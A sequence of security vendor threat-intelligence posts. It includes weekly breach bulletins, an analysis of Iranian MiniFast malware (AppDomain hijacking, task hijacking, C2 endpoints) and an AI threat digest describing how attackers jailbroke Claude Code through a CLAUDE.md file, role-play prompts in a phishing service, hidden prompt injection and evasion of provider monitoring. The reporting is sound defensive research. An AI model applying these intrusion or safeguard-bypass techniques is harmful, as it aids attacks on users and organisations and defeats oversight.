The malware uses HTTPS to communicate with the resolved C2 server. In the analyzed build, the observed logic includes periodic refresh check-ins and a second request format intended to report address-replacement activity. The replacement wallets themselves are fully embedded in the binary.
The hardcoded replacement addresses observed in the analyzed sample include:
We also reviewed incoming transactions to the wallet addresses embedded in this sample. In the dataset we analyzed, the earliest inbound payments were recorded in July 2025, with the first observed transaction dated July 12, 2025. This indicates that the operation has likely been active for a prolonged period and suggests that the TDS-driven infection chain we observed may be only one of several distribution paths used to deploy the malware. While the observed on-chain inflows are modest, they nevertheless show that the embedded wallets received real funds.
Conclusion
This campaign is a reminder that “looking official” is not a meaningful security signal. The entry sites mimic legitimate open-source project portals, preserve real GitHub links to pass quick visual checks, and then use click interception to route the first download click into a gated TDS stack. From the user’s perspective, the path is deceptively simple: top Google result, polished “project” site, download. Under the hood, that single click can become a non-deterministic redirect chain that the victim never agreed to and cannot easily audit.
One of the most striking aspects of the campaign is the SessionGate branch used to deliver PUA. Its combination of server-side registration, one-time-style key release, per-session payload generation, and heavy obfuscation goes far beyond what is typically seen in commodity bundler chains. In practice, these counter-analysis measures make even obtaining the final payload unusually difficult for researchers. While such aggressive gating likely reduces overall delivery efficiency, at this campaign’s scale it is a rational tradeoff for the operators: it also reduces analyst visibility, delays detection, and helps the activity remain under the radar for longer. This is reflected in public telemetry — despite thousands of VirusTotal submissions for the initial loader and hundreds of related intermediate samples, we did not identify the final payload on VirusTotal.
Even if the upstream traffic source is not intended to distribute malware, repeated diversion of users into gray and malicious chains strongly suggests insufficient partner vetting and weak abuse prevention across the supply path. Mechanisms such as sending users somewhere other than the visible link target and handing sessions off to third-party infrastructure outside the original platform’s control are, at minimum, hallmarks of unfair and deceptive traffic practices, not transparent advertising.
More broadly, the embedded TDS layer behaves like a broker between ecosystems: it allows downstream operators to selectively receive only the sessions they want, based on GEO, browser fingerprinting, anti-bot checks, and capping. That makes attribution harder and accountability more diffuse — the impersonation operator does not need to be the malware author to enable malware delivery at scale.
Protections
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.
For the latest discoveries in cyber research for the week of 1st June, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Carnival Corporation, a global cruise line operator, has confirmed a data breach affecting nearly 6 million people after attackers used social engineering to compromise an employee account. Exposed information may include names, contact details, dates of birth, and government identification numbers.
Charter Communications, a US telecommunications provider operating under the Spectrum brand, has suffered a data breach by ShinyHunters group. Analysts report that 4.9 million email addresses were exposed, with names, phone numbers, physical addresses, and a subset of employee directory records.
Lithuania’s Centre of Registers, the state agency responsible for property and legal entity records, has disclosed a data breach affecting more than 600,000 records. Attackers reportedly misused institutional login credentials to access names, dates of birth, national identification numbers, and property-related data.
Station Casinos, a major Las Vegas casino operator owned by Red Rock Resorts, has disclosed a breach after an unauthorized third party accessed a single employee account and associated files. The company began notifying affected individuals on May 21 and said business operations were not affected.
AI THREATS
Researchers profiled GREYVIBE, a Russia-aligned group using ChatGPT and Google Gemini to accelerate phishing, malware development, and post-compromise activity against Ukrainian targets. The campaign uses spear-phishing, fake CAPTCHA pages, and decoy websites to deliver PhantomRelay on Windows and FallSpy on Android.
Researchers unveiled an AI-driven influence and fraud campaign run by a Russian-speaking actor behind a MAGA-themed Telegram channel with 17,000 subscribers. The operator bypassed Gemini safeguards to automate propaganda and credential theft, used stolen API keys, cracked WordPress accounts, and drained a crypto wallet.
Researchers identified an AI-generated malicious npm package, mouse5212-super-formatter, that steals developers’ files by scanning a local directory and uploading data to a GitHub repository using a hardcoded private token. The package recorded at least seven exfiltration events and 676 downloads.
VULNERABILITIES AND PATCHES
Check Point announced a Jumbo Security Release based on large-scale AI-driven code scanning across the products. The release addresses vulnerabilities in Check Point security gateways, including CVE-2026-48131 and CVE-2026-48132. The vulnerabilities were not exploited in the wild.
Check Point IPS provides protection against these threats (IKE Unsigned Underflow (CVE-2026-48131), IKE Improper Length Validation (CVE-2026-48132))
CVE-2026-0257, a PAN-OS GlobalProtect authentication bypass which was fixed earlier this month, is now being exploited against unpatched Palo Alto Networks devices. Attackers are using forged authentication override cookies to create unauthorized VPN sessions, potentially giving them access to internal networks. CISA added the flaw to its Known Exploited Vulnerabilities catalog on May 29.
A critical remote code execution flaw has been disclosed in Gogs, a popular open-source self-hosted Git service, with a CVSS score of 9.4 and no patch available. An authenticated user can abuse rebase merging to execute commands, risking repository access and cross-tenant data exposure. The vulnerability remains unpatched by the developer for more than two months.
Check Point IPS provides protection against this threat (Gogs Remote Code Execution)
Ghost CMS vulnerability CVE-2026-26980 is actively being exploited in attacks that use SQL injection to steal Admin API keys and alter website pages. At least two groups have targeted more than 700 sites using fake Cloudflare checks to deliver data-stealing malware.
Check Point IPS provides protection against this threat (Ghost SQL Injection (CVE-2026-26980))
THREAT INTELLIGENCE REPORTS
Researchers attributed a destructive campaign against LA Metro to an Iran-linked intelligence operation using the Ababil of Minab persona. LA Metro confirmed an intrusion involving wiped servers, and analysts linked additional transit and technology attacks to Black Shadow infrastructure.
Researchers observed renewed Grandoreiro banking malware campaigns targeting Portuguese banks and organizations across Spain, Mexico, and Latin America. The attacks begin with phishing and using DLL side-loading or malicious scripts, then abuse cloud services to hide traffic while stealing credentials and displaying fake banking overlays.
Researchers uncovered GHOST STADIUM, a fraud network cloning FIFA-related websites across more than 300 active domains ahead of the 2026 World Cup. The operation steals login credentials and payment data, locks fans out of accounts, and is promoted through Facebook ads.
Researchers exposed JINX-0164, a financially motivated group targeting cryptocurrency organizations through recruiter-themed social engineering and macOS malware, including AUDIOFIX and MINIRAT. The campaigns moved from compromised developer laptops into code repositories and build systems, creating supply chain compromise risk.
During the March–April 2026 reporting period, AI use in offensive operations advanced from development and planning to real-time operational deployment. Multiple independent cases, involving individual criminal actors, mass exploitation platforms, ransomware groups, and state-sponsored espionage, show evidence of commercial AI models executing autonomous attack workflows across extended campaigns.
Key findings:
AI-orchestrated attacks have progressed from experimental, state-sponsored use to in-the-wild criminal deployment. Multiple criminal operations relied on commercial Claude Code as a persistent operational tool in multi-week campaigns.
Agentic configuration files are being weaponized as persistent jailbreak vectors. Hooks, project-level files, and settings files abuse the operational control level and redefine the model behaviour at the architecture level.
AI-enabled attack platforms are commercializing AI capabilities. Operators can now buy access to platforms where the AI pipeline, model selection, jailbreak, and delivery mechanisms are embedded in the product.
AI provider credentials have become a high-value target. As commercial AI services become central to offensive operations, API keys for Anthropic, OpenAI, Groq, Mistral, and HuggingFace are harvested at scale from compromised .env files, providing access without registration and resilience against provider attempts to revoke this access.
AI as Live Attack Operator
AI selection considerations
Underground forum discussions still show actors debating the use of commercial models, dedicated jailbreak services, or locally hosted open-source models, reflecting the lower-skill end of AI adoption. More advanced actors combine tools pragmatically: from commercial AI models, open or uncensored models where commercial providers restrict output, and custom automation pipelines that perform repetitive analysis at scale. Tasks are systematically broken down into smaller sub-requests that present a lower apparent risk profile.
Figure 1 – Forum user suggesting commercial models are effective and restrictions easily removed.
Figure 2 – Another user recommends self-hosting open-source models to avoid monitoring.
Forum users further discuss and share methods and alternatives to avoid mainstream-provider safety controls by mixing open-weight Chinese frontier models, privacy-routed proxies, and explicitly uncensored services.
Figure 3 – User sharing a non-restricted/monitored AI assistant recommendation table.
The Mexico Breach
When Anthropic disclosed GTG-1002, a Chinese nexus campaign using Claude Code for cyber espionage, in November 2025, this was seen as an experimental, state-sponsored development. The disclosure carried no IoCs and was therefore disputed by independent researchers, and the activity was detected only through Anthropic’s own API monitoring. The Mexico breach, which occurred a few months later, demonstrates similar architecture in operational, financially motivated criminal use, at scale, and with a recovered forensic record.
Between late December 2025 and mid-February 2026, a single operator compromised nine Mexican government agencies. Researchers documented the case after recovering materials from attacker-controlled VPS servers. Details include the operational record: 1,088 attacker prompts generating 5,317 AI-executed commands across 34 sessions.
The breach scope was significant: tax records, civil registry data, vehicle records, patient files, and electoral infrastructure were affected. However, an even more important lesson is how the campaign was run.
The operator built a dual AI workflow. Claude Code served as the interactive exploitation assistant, helping advance access, write exploits, build tunnel chains, map victim environments, and escalate privileges. In parallel, harvested server data was processed through GPT-4.1 for automated intelligence analysis. The GPT output was then used to task new Claude sessions.
As we highlighted in our previous review, the agentic infrastructure itself was exploited to bypass the model’s safety restrictions. At the start of the campaign, Claude refused to execute requests which it correctly identified as offensive cyber activity. The attacker then changed tactics. Instead of asking Claude to generate malicious content directly, they pasted a large penetration-testing cheatsheet into CLAUDE.md in the project root, the file Claude Code automatically loads as persistent project context at the start of every session. From that point on, subsequent sessions inherited the rules and techniques in that file. The attacker did not need to repeat the jailbreak as the behavior persisted through the project configuration layer. After gaining root on a civil registry server, the model’s actions in subsequent sessions were consistent with the persistent cheatsheet, including unprompted post-exploitation steps such as shadow file extraction and timestamp cleanup.
Bissa Scanner
A second documented case, Bissa Scanner, was published in April 2026, after researchers identified an exposed operator server. Bissa is a modular mass-exploitation platform built around React2Shell (CVE-2025-55182), with 900+ confirmed compromises across millions of scanned Next.js endpoints and an archive of 30,000+ distinct .env filenames recovered from operator-controlled S3 storage. The operation has been running since September 2025. Here, AI is positioned one step back from the exploitation layer: Claude Code and OpenClaw (running claude-sonnet-4-6, with a Telegram bot for triage alerting) served as the operator’s working environment for reading the scanner codebase, troubleshooting, refining the collection pipeline, and prioritizing high-value access. No jailbreak was documented and commercial Claude was accessed through the standard API.
Bissa harvested .env files specifically for AI provider credentials (Anthropic, OpenAI, Groq, Mistral, OpenRouter, HuggingFace, Replicate, DeepSeek). AI provider credentials have become a deliberate target, valuable enough for sophisticated operators to enumerate and harvest at scale alongside conventional credential theft. These credentials are likely intended to be used in future offensive criminal activity and attribute it to the legitimate account holder instead of the attacker.
Agentic Configuration Files: A Persistent Attack Surface
The previous section demonstrates the use of agentic configuration files to override safety features in their own AI sessions. The same inheritance mechanism can be used in reverse: an attacker plants malicious agentic configuration files in a repository, and an innocent developer uses the project and becomes the next victim.
A recent CPR report documented three exploitation paths and disclosed two (now patched) CVEs. CVE-2025-59536 exploits Claude Code’s Hooks feature (hooks, .claude/settings.json), executing arbitrary commands before the developer can read them. A parallel path uses .mcp.json to trigger the MCP server startup, bypassing the consent dialog entirely. CVE-2026-21852 redirects ANTHROPIC_BASE_URL to a malicious proxy that intercepts authorization headers and potentially steals API keys, granting read/write access to the entire team Workspace before any trust prompt appears. The attack vector in all three cases is “supply chain”, a malicious settings file embedded in a pull request, honeypot repository, or compromised codebase that results in system compromise on the developer machine.
The underlying issue of using agentic configuration files as the attack surface and supply chain is not specific to Claude. The potential attack surface is architectural and may apply equally to Cursor (.cursorrules), Windsurf (.windsurfrules), and GitHub Copilot Workspace (.github/copilot-instructions.md).
AI-Powered Fraud at Scale: EvilTokens
EvilTokens represents a category of offensive tooling offered for sale: a commercial Phishing-as-a-Service (PhaaS) platform, built using AI and operating an LLM pipeline as a runtime component of the attack. A buyer with no AI knowledge can purchase access to a fully integrated pipeline in which model selection, jailbreak, and output delivery are handled at the platform level.
EvilTokens runs a multi-stage attack flow. Device-code phishing pages impersonating Adobe, DocuSign, and SharePoint harvest Microsoft OAuth tokens. The AI pipeline then activates these tools:
Via Groq, llama-3.1-8b-instant ingests up to 5,000 emails in 250-email batches, extracting account numbers, routing numbers, wire amounts, payment deadlines, and reporting hierarchies.
Also via Groq, llama-3.3-70b-versatile synthesizes the intelligence, generates BEC (Business Email Compromise) drafts tailored to the victim’s writing style, and assigns a BEC score.
gpt-4o-mini translates stolen emails for non-English-speaking operators.
The SMTP Sender delivers the output with rotating SMTP pools, header fingerprint randomization, DKIM signing, and CSS randomization.
The researchers assessed with high confidence that the platform’s backend was AI-generated.
The model choices reflect deliberate task routing: Llama 3.1 8B was used for cheap high-volume extraction, Llama 3.3 70B for reasoning-heavy synthesis and stylistic mimicry, and GPT-4o-mini was reserved for translation where it has the strongest multilingual capability and where the task itself looks innocuous to provider-side monitoring. The riskiest content generation is kept on Groq-hosted open-weight models instead of on OpenAI’s more closely monitored surface.
The jailbreak is the product. Both Groq-hosted LLaMA stages operate under a jailbreak embedded at the platform level, not applied by the operator and not visible to the customer. Stage 1 frames the model as an “authorized red team security analyst” conducting “sanctioned penetration tests”; Stage 2 upgrades to “senior red team analyst.” Prompts direct the model to reference real email threads, mask payment changes behind “plausible business reasons”, imitate sender style, and generate emails “realistic enough to fool a trained employee.” This is security bypass at SaaS scale: write the jailbreak once, ship it as a feature, and it’s inherited in every customer session.
The original EvilTokens advertising posts reveal additional features, including a Calendar Invite module which sends fake meeting invitations that appear as legitimate Outlook and Gmail meeting requests, with built-in Sender Spoofing (Organizer Identity). In a BEC context, this is used to apply timing pressure on finance personnel: a fake “urgent review meeting” appears on the target’s calendar shortly before a wire-transfer request lends the request a sense of pre-authorized context. Combined with the AI-generated email and the SMTP Sender, this completes a full BEC social engineering toolkit covered end-to-end by a single PhaaS offering.
Figure 4 – Calendar Invite module UI with Sender Spoofing section – From EvilTokens promotional forum postings.
EvilTokens’ Telegram channel announced additional AI-based features after Sekoia’s disclosure. The platform did not go offline and accelerated its AI feature development through April 2026.
Figure 5 – Announcement of additional AI related features – From EvilTokens Telegram channel.
The Vulnerability Race: AI on Both Sides of the Patch Window
AI-assisted vulnerability research has become a category in its own right and is now commercialized at both major frontier labs simultaneously on two tiers: a restricted research-grade capability and a productized defender tool.
At the frontier, Anthropic’s Claude Mythos, released through Project Glasswing, reportedly demonstrated a systematic, rapid mechanism to search for vulnerabilities and revealed a very large number of vulnerabilities, some long-buried zero-days in core infrastructure. These include a 27-year-old OpenBSD TCP/SACK bug found at roughly $20,000 in compute, a 16-year-old FFmpeg H.264 codec flaw, and a FreeBSD NFS remote code execution vulnerability in software that was analyzed for decades. The capability jump within a single generation is steep: on the same Firefox test set, Opus 4.6 produced 2 successful exploits and Mythos produced 181. Anthropic notes that this capability was not explicitly trained for but “emerged as a downstream consequence of general improvements in code, reasoning, and autonomy.” The productized tier is wider and more accessible: Claude Security (running on the public Opus 4.7 model) entered public beta for Enterprise customers, and OpenAI’s Codex Security, in research preview since early March, has had 14 CVEs assigned during the preview window on OpenSSH, GnuTLS, libssh, PHP, and Chromium.
The same capability curve is reaching attackers at the commodity tier, faster than defenders can patch. A researcher using a standard Claude API subscription identified CVE-2026-34197, a 13-year-old Apache ActiveMQ remote code execution vulnerability, and attributed roughly 80% of the work to Claude and the remainder to his refinement. LMDeploy SSRF (CVE-2026-33626) was exploited within 12 hours of the advisory publication, with no public proof-of-concept available. This time-frame compression is consistent with attackers building working exploits directly from advisory text. GenAI is accelerating this workflow.
Vendors are using AI to find vulnerabilities that sat undiscovered in core infrastructure for decades while attackers are using AI to find and weaponize newly-disclosed vulnerabilities within hours of publication. The patch window, the period between disclosure and exploitation, is being compressed on both sides. Vendors and customers need to adjust to a new high rate of patch development, delivery and deployment. The side that reacts the fastest will gain the most from recent AI developments.
Enterprise Adoption and Exposure
Corporate environment data collected by Check Point in March – April 2026 shows enterprise GenAI usage continuing to scale while the associated risk profile remains stable. Approximately one in every 28 prompts (3.6%) posed a high risk of sensitive data exposure, a modest increase from the January–February baseline of 3.2%, observed across 91% of organizations actively using GenAI tools (compared with 90% in the previous period). The proportion of prompts containing potentially sensitive information rose from 16% to 18%.
Figure 6 – GenAI related data from Corporate.
The average employee generated 78 prompts during March – April, up from 69, with organizations using an average of 10 GenAI tools. Interaction volume is rising while risk ratios remain stable, producing a proportional increase in absolute exposure events.
The consistency of these metrics across two reporting periods indicates a maturing adoption pattern: data exposure is not an episodic incident category but a continuous operational risk requiring sustained monitoring and policy enforcement.
Conclusion
Our findings converge on a small number of structural observations.
AI now operates as an attack component, not just as a development aid. The Mexican breach illustrates this at government-breach scale, and Bissa at mass-exploitation scale. The same commercial Claude Code architecture appears independently across criminal operations with different motivations and geographies, and in state-sponsored espionage. The convergence is operational consensus, not coincidence.
The techniques aren’t new but the performance envelope is. Network scanning, credential spraying, lateral movement, BEC drafting, and vulnerability research all predate AI. What’s changed is the speed (working exploits generated from advisory text alone within 12 hours of disclosure), scale (one operator reaching the operational footprint of an advanced team), and breadth of knowledge (cross-domain expertise on demand lowers the entry requirement for sophisticated multi-vector campaigns). Defences calibrated to human attack tempo and human team throughput are not equipped for the AI equivalents.
The AI attribution gap is structural. All the operations we documented in this report were discovered through attacker OPSEC failures or LLM provider monitoring, not through victim-side controls. AI-executed commands resemble skilled human activity closely enough to evade current behavioral controls. Operations that do not fail at OPSEC, or that route through stolen credentials or self-hosted models, remain unclassified.
For the latest discoveries in cyber research for the week of 25th May, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
7-Eleven, the global convenience store chain, confirmed a breach after an unauthorized access to systems used for franchisee documents. ShinyHunters claimed responsibility and said it stole more than 600,000 Salesforce records containing personal and corporate information, with affected individuals offered identity protection services.
Code hosting platform GitHub has suffered a breach after attackers weaponized a Visual Studio Code extension to compromise an employee device and steal internal source code. The company estimated about 3,800 internal repositories were exfiltrated, with no evidence of impact on customer-facing systems.
Grafana Labs, an open-source observability software company, disclosed a breach after a compromised GitHub token allowed intruders to access parts of its source code. The company reports that it has refused to pay ransom to the attackers and claims no customer data exposure or service disruption.
The FBI warns about Kali365, a phishing-as-a-service kit that is actively being used to target Americans and is distributed mainly through Telegram. The platform targets Microsoft 365 users with device-code phishing, captures OAuth access and refresh tokens, and enables persistent access to Outlook, Teams, and OneDrive while bypassing MFA.
AI THREATS
Check Point Research released the March-April 2026 AI Threat Landscape digest and demonstrated that AI-driven attacks have entered routine criminal use, citing a campaign where a single operator used commercial AI to compromise nine Mexican government agencies and execute over 5,000 automated commands. It also notes malicious configuration files that override safety controls, commercialized toolkits, and stolen API keys enabling abuse.
Researchers identified phishing campaigns that use indirect prompt injections to evade AI-powered email filters. Attackers embed invisible text inside messages, using zero-size fonts or background-matched colors, so recipients see ordinary content while AI scanning tools process attacker instructions during automated security review.
Researchers unveiled an AI-driven influence and fraud campaign run by a Russian-speaking actor behind a MAGA-themed Telegram channel with 17,000 subscribers. The operator bypassed Gemini safeguards to automate propaganda and credential theft, used stolen API keys, cracked WordPress accounts, and drained a crypto wallet.
VULNERABILITIES AND PATCHES
Microsoft published fixes for CVE-2026-41091 and CVE-2026-45498, two actively exploited Windows Defender flaws affecting the Malware Protection Engine and Defender Antimalware Platform. The first allows local privilege escalation, while the second can cause denial of service, with updated components released automatically through normal Defender updates.
Trend Micro addressed CVE-2026-34926, a directory traversal flaw in Apex One on-premises servers that allows attackers with administrator access push malicious code to endpoints. Exploitation attempts were observed against Windows systems, and the issue affects the enterprise endpoint security platform in corporate deployments
Drupal released emergency patches for CVE-2026-9082, a critical SQL injection flaw affecting Drupal sites using PostgreSQL. Successful exploitation can allow database command execution, potentially leading to data theft or code execution. Active attacks were reported shortly after disclosure across thousands of sites.
Check Point IPS provides protection against this threat (Drupal Core SQL Injection (CVE-2026-9082))
THREAT INTELLIGENCE REPORTS
Check Point Research has revealed new campaigns of Nimbus Manticore, an IRGC-linked group that resurfaced during Operation Epic Fury with upgraded techniques. The campaigns use SEO poisoning and career-themed phishing across the United States, Europe, and the Middle East, and then delivered a new MiniFast backdoor.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat
Check Point researchers have highlighted a 124% surge in hacktivism and ransomware across Germany, Austria, and Switzerland in 2025. Germany accounted for most incidents, while hacktivists drove defacements and DDoS attacks, and ransomware activity was led by Akira, Qilin, and Safepay.
Researchers have uncovered Showboat, a Linux malware family used against international telecommunications providers. The modular post-exploitation framework can hide processes, transfer files, spawn remote shells, and operate as a SOCKS5 proxy. The activity is attributed to China-aligned threat actors.
Researchers uncovered a supply chain attack on Laravel Lang localization packages via Composer, where attackers rewrote GitHub tags to point to malicious commits. The campaign deployed a cross-platform credential stealer targeting cloud keys, developer tokens, and browser passwords across hundreds of package versions.
Researchers identified large-scale abuse of Middle Eastern telecom and hosting networks, with more than 1,350 active command-and-control servers across 98 providers. Linked activity included Phorpiex, Eagle Werewolf espionage, exploitation of a React Native CLI flaw, and RondoDox botnet activity at significant scale.
The Iranian, IRGC affiliated, threat actor Nimbus Manticore resurfaced during Operation Epic Fury, the US military campaign against Iran launched on February 28, 2026, demonstrating newly adopted techniques and enhanced capabilities.
The campaign leveraged malicious lures impersonating organizations in the aviation and software sectors across the United States, Europe and the Middle East.
For the first time, we observed the use of SEO poisoning as an additional malware delivery method.
The operation introduced a previously undocumented backdoor, named MiniFast, which appears to incorporate AI-assisted development practices, enabling the threat actor to rapidly develop and adapt tooling while maintaining high operational availability during the war.
The actor also used a Zoom installer’s execution flow and abused it to stage a time-sensitive infection chain for malware deployment while blending into legitimate system activity.
Introduction
During the recent geopolitical tensions in the Middle East, we reported on multiple Iran-nexus threat actors advancing Iran’s strategic objectives through cyber operations. These activities included targeting internet-connected cameras, conducting destructive attacks against US and Israeli entities, and exfiltrating data from cloud environments to support broader kinetic and intelligence-gathering efforts.
Nimbus Manticore (also tracked as UNC1549) is an IRGC-affiliated threat actor who primarily targets the defense, aviation and telecommunication sectors through career-themed phishing campaigns. Nimbus Manticore stands out compared to other Iranian-linked groups due to its complex malware toolset.
In 2025, we documented the MiniJunk malware framework used by Nimbus Manticore to target high-profile organizations across Western Europe and the Middle East.
In the recent campaign, the actor adopted several new techniques, including AppDomain (application domain) hijacking, AI-assisted malware development, and SEO poisoning.
In this article, we focus on three waves of the threat actor’s activity in the last few months, as well as discuss their latest techniques.
Figure 1 – 2026 campaign timeline during the ongoing military campaign.
Campaign 1: Rising Tension
In February 2026, amid rising tensions between the US, Israel and Iran and weeks of military buildup, we monitored new Nimbus Manticore phishing activity worldwide. In this campaign, the threat actor introduced a modified infection chain by abusing AppDomain Hijacking for execution instead of relying on the usual DLL sideloading techniques.
AppDomain Hijacking is a technique that abuses legitimate .NET applications to load a malicious DLL at launch time. This is achieved by placing a Trojanized XML .config file in the same directory as the target application. The configuration file, named after the abused binary with the .config suffix, specifies an attacker-controlled AppDomainManager class that points to a malicious DLL. When the application starts, the .NET runtime loads the DLL, enabling malicious code execution within the context of the trusted process.
Figure 2 – Config file pointing the appDomainManager class to the attacker-controlled DLL.
The phishing lure is consistent with previous Nimbus Manticore campaigns, targeting employees in selected organizations (primarily software and aviation sectors) with fake career opportunities. Targeted organizations in Saudi Arabia and Australia were directed to download a compressed ZIP archive stored on the OnlyOffice platform.
Figure 3 – ZIP file hosted on Onlyoffice.
The downloaded ZIP file contains these files:
Setup.exe – Benign Microsoft-signed binary.
Setup.exe.config – AppDomain Hijacking configuration file pointing to uevmonitor.dll.
uevmonitor.dll – A first stage Dropper.
Interop.TaskScheduler.dll – a benign DLL.
Figure 4 – Zip file masquerading as an Accenture job opportunity.
After the setup.exe binary is executed, the first-stage loader (uevmonitor.dll) is loaded. This component is responsible for extracting and deploying the next-stage payload, which is stored in encrypted form within the loader itself.
The extracted files are written into C:\Users\<USER>\AppData\Local\Packages\ and include a legitimate executable used for DLL sideloading alongside a malicious DLL identified as a new version of the MiniJunk backdoor.
The first-stage loader uevmonitor.dll shares multiple behaviors similar to older MiniJunk loader variants. These include validating that it is loaded specifically by the Setup.exe process and displaying a fake error message stating "Couldn't connect to survey server" to appear as a legitimate application failure and reduce user suspicion.
During Operation Epic Fury, we continued to observe activity from the threat actor. Despite the challenging environment, Nimbus Manticore demonstrated a strong ability to rapidly adapt, maintain infrastructure, and develop new tooling. We assess that this capability was likely supported, at least in part, by LLM-based tools and AI-assisted development techniques.
In addition to career-themed phishing lures masquerading as a US-based airline, the threat actor also used a Trojanized Zoom installer, which we assess was part of a phishing campaign using fake meeting invitations. In addition, the Trojanized Zoom installer demonstrated in-depth research into the original application’s installation and execution flow, enabling it to be seamlessly integrated into the infection chain.
Similar to previous campaigns, the threat actor continued leveraging AppDomain Hijacking, not just for the initial execution stage but also during the deployment and execution of the final backdoor. For the final payload, the threat actor introduced a new backdoor that we named MiniFast, replacing the previously used MiniJunk malware family.
Many of the files used throughout the campaign had valid digital signatures via SSL.com, continuing the abuse of trusted signing infrastructure we previously documented in our 2025 report. We identified the use of at least two certificates during the current activity, including:
Gray Matter Software S.R.L.
Kirubel Kerie Negeya
Infection Chain
The infection chain begins with the victim downloading a compressed archive named Zoominstall64.zip, which contains the following files:
Setup.exe.config – AppDomain Hijacking configuration file pointing to InitInstall.dll.
InitInstall.dll – First-stage loader.
Zoom_cm.exe – Original Zoom installer.
UpdateConfig.xml – AppDomain Hijacking configuration file pointing to Updater.dll.
Updater.dll – Second-stage loader.
UpdateChecker.dll – Final backdoor payload (MiniFast).
First-Stage Deployment
After Setup.exe is launched by the user, the first-stage loader (InitInstall.dll) is executed through AppDomain Hijacking using the accompanying .config file.
The loader itself is lightly obfuscated. Most readable strings are decrypted at runtime using a simple combination of ROT13 encoding and reversed-string transformations. Aside from the string obfuscation layer, the codebase contains meaningful function names and relatively well-structured logic. Execution begins with the malware displaying a fake installation progress window intended to mimic legitimate software installation activity. At the same time, the loader launches the legitimate Zoom installer (Zoom_cm.exe) to make the execution flow appear to the victim as a normal software installation.
Persistence through Task hijacking
After launching the installer, the malware enters a loop that lasts approximately one minute, continuously monitoring the system for the creation of a scheduled task matching this format:
ZoomUpdateTaskUser-<current user SID>
This scheduled task is usually created by the legitimate Zoom installer during installation.
When the task is created, the malware hijacks and modifies it to execute the second-stage component instead. By abusing an existing Zoom scheduled task rather than creating a new suspicious persistence mechanism, the malware attempts to blend into legitimate system activity and reduce detection opportunities.
Second-Stage Deployment
The next-stage files are copied into C:\Users\<USER>\AppData\Local\Zoom\bin\update. This directory contains four files copied from the original archive, including the benign Microsoft-signed binary from the first stage, now renamed to Update.exe. The malware again abuses AppDomain Hijacking to load the second-stage loader (Updater.dll) through the trusted Update.exe process.
Similar to the first stage, the second-stage loader uses the same runtime string decryption routine based on ROT13 and reversed strings.
At the beginning of its execution, the loader performs a simple anti-analysis validation intended to evade sandbox environments and automated dynamic analysis systems. The malware only continues execution if:
The hosting process name is update.exe
The parent process is svchost.exe
This execution-chain validation ensures that the DLL is loaded by the malware’s intended loader component and that execution originates from the scheduled-task persistence mechanism instead of launched directly through explorer.exe etc.
The primary purpose of the second-stage loader is to dynamically load the final MiniFast payload (UpdateChecker.dll), locate its exported function named CheckForUpdates, and execute it.
Adoption of AI
This campaign also provides multiple indications that the threat actor leveraged AI-assisted development during the malware creation. We see evidence for this in both the initial access loaders and within the MiniFast backdoor itself.
Several coding patterns and implementation details strongly suggest the use of AI-generated or AI-assisted code during development, including:
Excessive error handling and defensive programming logic, even around simple API calls such as GetUserName.
Repetitive function and method naming patterns containing descriptive or verbose identifiers.
Multiple detailed error-reporting strings and debug-style status messages embedded throughout the codebase.
Modular code organization despite the malware’s overall simplicity.
These characteristics are increasingly prevalent in malware development as threat actors leverage AI-assisted tools to accelerate development, improve code structure, and rapidly utilize new capabilities.
Campaign 3: Post Ceasfire – “SQL developer” Campaign
In April, we observed a new infection method, a fake website impersonating a download page for SQL Developer, a graphical tool used for working with databases. Users who attempted to download the software from the fake site instead received a weaponized installer that delivered the MiniFast backdoor.
Figure 6 – Screenshot of the getsqldeveloper[.]com site.
This malware delivery method differs from Nimbus Manticore’s usual infection chains which typically rely on career-themed phishing lures. In this campaign, the actor abuses search engine optimization techniques by registering dozens of domains that link to the bogus domain, getsqldeveloper[.]com. This is likely an attempt to increase the site’s visibility through link-based reputation signals.
At the time of our analysis, the malicious domain ranked high in the results returned by multiple search engines, such as Bing and DuckDuckGo, for the query “sql developer.” This increased the likelihood that users searching for legitimate SQL Developer downloads would encounter the site.
The pages also rely on keyword stuffing, repeatedly using search-oriented phrases such as “Download SQL Developer” and “SQL Developer Free,” likely to improve ranking for users searching for SQL Developer-related downloads.
MiniFast Technical Analysis
MiniFast is a 64-bit Windows PE DLL that exposes a single export named CheckForUpdates which acts as the main entry point. The DLL operates as a fully featured backdoor designed for long-term persistence and remote command execution. Analysis of multiple samples indicates the malware is undergoing active development, with the threat actor continuously modifying and improving the implant across versions.
Figure 7 – Export function CheckForUpdates structure.
Similar to the previous stage, the backdoor again appears to be executing under the expected process chain by verifying that the hosting process is named update.exe and that its parent process is svchost.exe
The implant communicates with its C2 (command and control) infrastructure using an API-style architecture with JSON-formatted data exchanges. To blend into legitimate network traffic, the malware impersonates a Chrome browser using the following hardcoded User-Agent string: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
The backdoor implements several structured HTTP endpoints throughout the infection lifecycle:
URI
Method
Purpose
/rg
POST
Initial handshake
/agent/init
POST
Initial victim registration
/agent/poll?token=
GET
Task retrieval
/agent/result
POST
Command execution result upload
/upload/
PUT
File exfiltration
/files/
GET
File download from the C2
Before entering its tasking loop, the malware performs basic host reconnaissance by collecting information such as the username, hostname, and domain info, and then submits the collected data as a unique clientId to the /rg endpoint using a POST request.
If the server responds with HTTP status code 200, the backdoor skips parsing the response body and continues executing normally. However, when the server responds with status code 400, the malware parses the returned JSON object and extracts a socketId, which acts as the session identifier for all future communications.
In addition, the server response may include updated values for pollInterval and jitterTime, allowing the operator to dynamically adjust the timing between subsequent communications with the C2 infrastructure.
Next, the backdoor continues to register the infected host by again sending the machine information, this time to the /agent/init in the following format:
Only after it receives an HTTP status code 200 from the C2 server does the backdoor proceed to fetch commands for execution using a GET request to /agent/poll?token=<socketId>.
Here, the communication between the implant and the C2 server is not in a JSON format and is performed using Base64-encoded serialized task structures, where each response contains one or more encoded tasks that are later decoded and processed by the backdoor.
Each task is then Base64-decoded into a secondary structure, containing the opcode and associated arguments:
struct TaskRecord {
uint8_t opcode;
uint8_t pad[7]; // alignment
custom_str_struct arg_main; // at offset +0x08: main command argument
custom_str_struct arg_aux; // at offset +0x28: secondary arg (if needed)
